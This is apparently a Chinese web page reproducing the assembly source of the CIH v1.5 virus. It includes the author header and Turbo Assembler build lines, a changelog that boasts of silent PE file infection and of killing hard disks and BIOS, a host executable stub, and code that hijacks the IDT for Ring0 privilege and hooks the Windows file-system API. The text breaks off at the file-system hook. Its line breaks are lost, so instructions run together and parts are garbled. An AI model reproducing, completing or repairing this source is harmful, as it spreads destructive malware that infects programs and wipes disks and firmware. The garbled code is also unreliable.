cihv1.5病毒原码

1、CIH V1.5版本病毒源码; *; * The Virus Program Information *; *; * *; * Designer : CIH Source : TTIT of TATUNG in Taiwan *; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung *; * Modification Time : 06/01/1998 Version : 1.5 *; * *; * Turbo Assembler Version 5.0 : Tasm /m cih *; * Turbo Link Version 5.01 : T

2、link /3 /t cih, cih.exe *; * *; *=*; * Modification History *; *=*; * v1.0 1. Create the Virus Program. *; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *; * 04/26/1998 3. Virus Code doesn't Reload into System. *; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *; * 5. Modif

3、ies Entry Point of IFSMgr_InstallFileSystemApiHook. *; * 6. When System Opens Existing PE File, the File will be *; * Infected, and the File doesn't be Reinfected. *; * 7. It is also Infected, even the File is Read-Only. *; * 8. When the File is Infected, the Modification Date and Time *; * of t

4、he File also don't be Changed. *; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *; * Previous FileSystemApiHook, it will Call the Function *; * that the IFS Manager Would Normally Call to Implement *; * this Particular I/O Request. *; * 10. The Virus Size is only 656 Bytes. *; *=

5、*; * v1.1 1. Especially, the File that be Infected will not Increase *; * it's Size. _ *; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *; * When Exception Error Occurs, Our OS System should be in *; * Windows NT. So My Cute Virus will not Continue to Run, *; * it will Jmup to Or

6、iginal Application to Run. *; * 3. Use Better Algorithm, Reduce Virus Code Size. *; * 4. The Virus "Basic" Size is only 796 Bytes. *; *=*; * v1.2 1. Kill All HardDisk, and BIOS. Super. Killer. *; * 2. Modify the Bug of v1.1 *; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes.

7、 *; *=*; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *; * So When Open WinZip Self-Extractor => Don't Infect it. *; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *; *=*; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *; * 2. Change

8、the Date of Killing Computers. *; * 05/31/1998 3. Modify Virus Version Copyright. *; * 4. The Virus "Basic" Size is 1019 Bytes. *; *; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port *; * 2. Modify Virus Version Copyright. *; * 06/01/1998 3. Clear Garbage in Source Code. *; * 4

9、. The Virus "Small" Size in 10xx Bytes. *; * .586; *; * Original PE Executable File(Don't Modify this Section) *; *OriginalAppEXE SEGMENTFileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h

10、, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h

11、, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh

12、, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

13、, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h

14、, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

15、, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

16、, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

17、, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

18、, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

19、, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h

20、, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000hdd00000000h, VirusSizeOriginalAppEXE ENDS; *; * My Virus Game *; *; *; * Constant Define *; *TRUE=1FALSE=0DEBUG=TRUEIFDEBUG FirstKillHardDiskNumber = 82h HookExceptionNumber = 06hELSE Firs

21、tKillHardDiskNumber = 81h HookExceptionNumber = 04hENDIFFileNameBufferSize=7fh; *; *VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame; *; * Ring3 Virus Game Initial Program *; *MyVirusStart:pushebp; *; * Let's Modify Structured Exce

22、ption *; * Handing, Prevent Exception Error *; * Occurrence, Especially in NT. *; *leaeax, esp-04h*2xorebx, ebxxchgeax, fs:ebxcall00:popebxleaecx, StopToRunVirusCode-0ebxpushecxpusheax; *; * Let's Modify *; * IDT(Interrupt Descriptor Table) *; * to Get Ring0 Privilege. *; *pusheax; sidt esp-02h

23、; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0cli mov ebp, ebx ; Get Exception Base mov bp, ebx-04h ; Entry Point lea esi, MyExceptionHook-1ecxpushesimovebx-04h, si;shresi, 16; Modify Exceptionmovebx+02h, si; Entry Point Addresspopesi; *; * Generate Exception to Get R

24、ing0 *; *intHookExceptionNumber; GenerateExceptionReturnAddressOfEndException=$; *; * Merge All Virus Code Section *; *pushesimovesi, eaxLoopOfMergeAllVirusCodeSection:movecx, eax-04hrepmovsbsubeax, 08hmovesi, eaxoresi, esijzQuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmpLoopOfMergeAllVirusCodeSectio

25、nQuitLoopOfMergeAllVirusCodeSection:popesi; *; * Generate Exception Again *; *intHookExceptionNumber; GenerateException Again; *; * Let's Restore *; * Structured Exception Handing *; *ReadyRestoreSE:stixorebx, ebxjmpRestoreSE; *; * When Exception Error Occurs, *; * Our OS System should be in NT.

26、 *; * So My Cute Virus will not *; * Continue to Run, it Jmups to *; * Original Application to Run. *; *StopToRunVirusCode:1=StopToRunVirusCodexorebx, ebxmoveax, fs:ebxmovesp, eaxRestoreSE:popdword ptr fs:ebxpopeax; *; * Return Original App to Execute *; *popebp push 00401000h ; Push OriginalOrigina

27、lAddressOfEntryPoint=$-4; App Entry Point to Stack ret ; Return to Original App Entry Point; *; * Ring0 Virus Game Initial Program *; *MyExceptionHook:2=MyExceptionHookjzInstallMyFileSystemApiHook; *; * Do My Virus Exist in System !? *; *movecx, dr0jecxzAllocateSystemMemoryPageadddword ptr esp, Read

28、yRestoreSE-ReturnAddressOfEndException; *; * Return to Ring3 Initial Program *; *ExitRing0Init:movebx-04h, bp;shrebp, 16; Restore Exceptionmovebx+02h, bp;iretd; *; * Allocate SystemMemory Page to Use *; *AllocateSystemMemoryPage:movdr0, ebx; Set the Mark of My Virus Exist in Systempush00000000fh;pus

29、hecx;push0ffffffffh;pushecx;pushecx;pushecx;push000000001h;push000000002h;int20h; VMMCALL _PageAllocate_PageAllocate=$;dd00010053h; Use EAX, ECX, EDX, and flagsaddesp, 08h*04hxchgedi, eax; EDI = SystemMemory Start Addressleaeax, MyVirusStart-2esiiretd; Return to Ring3 Initial Program; *; * Install M

30、y File System Api Hook *; *InstallMyFileSystemApiHook:leaeax, FileSystemApiHook-6edipusheax ;int20h ; VXDCALL IFSMgr_InstallFileSystemApiHookIFSMgr_InstallFileSystemApiHook = $dd 00400067h; Use EAX, ECX, EDX, and flagsmovdr0, eax; Save OldFileSystemApiHook Addresspopeax; EAX = FileSystemApiHook Addr

31、ess; Save Old IFSMgr_InstallFileSystemApiHook Entry Pointmovecx, IFSMgr_InstallFileSystemApiHook-2esimovedx, ecxmovOldInstallFileSystemApiHook-3eax, edx; Modify IFSMgr_InstallFileSystemApiHook Entry Pointleaeax, InstallFileSystemApiHook-3eaxmovecx, eaxclijmpExitRing0Init; *; * Code Size of Merge Vir

32、us Code Section *; *CodeSizeOfMergeVirusCodeSection=offset $; *; * IFSMgr_InstallFileSystemApiHook *; *InstallFileSystemApiHook:pushebxcall4;4:;popebx; mov ebx, offset FileSystemApiHookaddebx, FileSystemApiHook-4;pushebxint20h ; VXDCALL IFSMgr_RemoveFileSystemApiHookIFSMgr_RemoveFileSystemApiHook=$d

33、d 00400068h; Use EAX, ECX, EDX, and flagspopeax; Call Original IFSMgr_InstallFileSystemApiHook; to Link Client FileSystemApiHookpushdword ptr esp+8callOldInstallFileSystemApiHook-3ebxpopecxpusheax; Call Original IFSMgr_InstallFileSystemApiHook; to Link My FileSystemApiHookpushebxcallOldInstallFileSystemApiHook-3ebxpopecxmovdr0, eax; Adjust OldFileSystemApiHook Addresspopeaxpopebxret; *; *Static Data *; *OldInstallFileSystemApiHookdd?; *; * IFSMgr_FileSystemHook *; *; *; * IFSMgr_FileSystemHook Entry Point *; *FileSystemApiHook:3=FileSystemApiHookpushad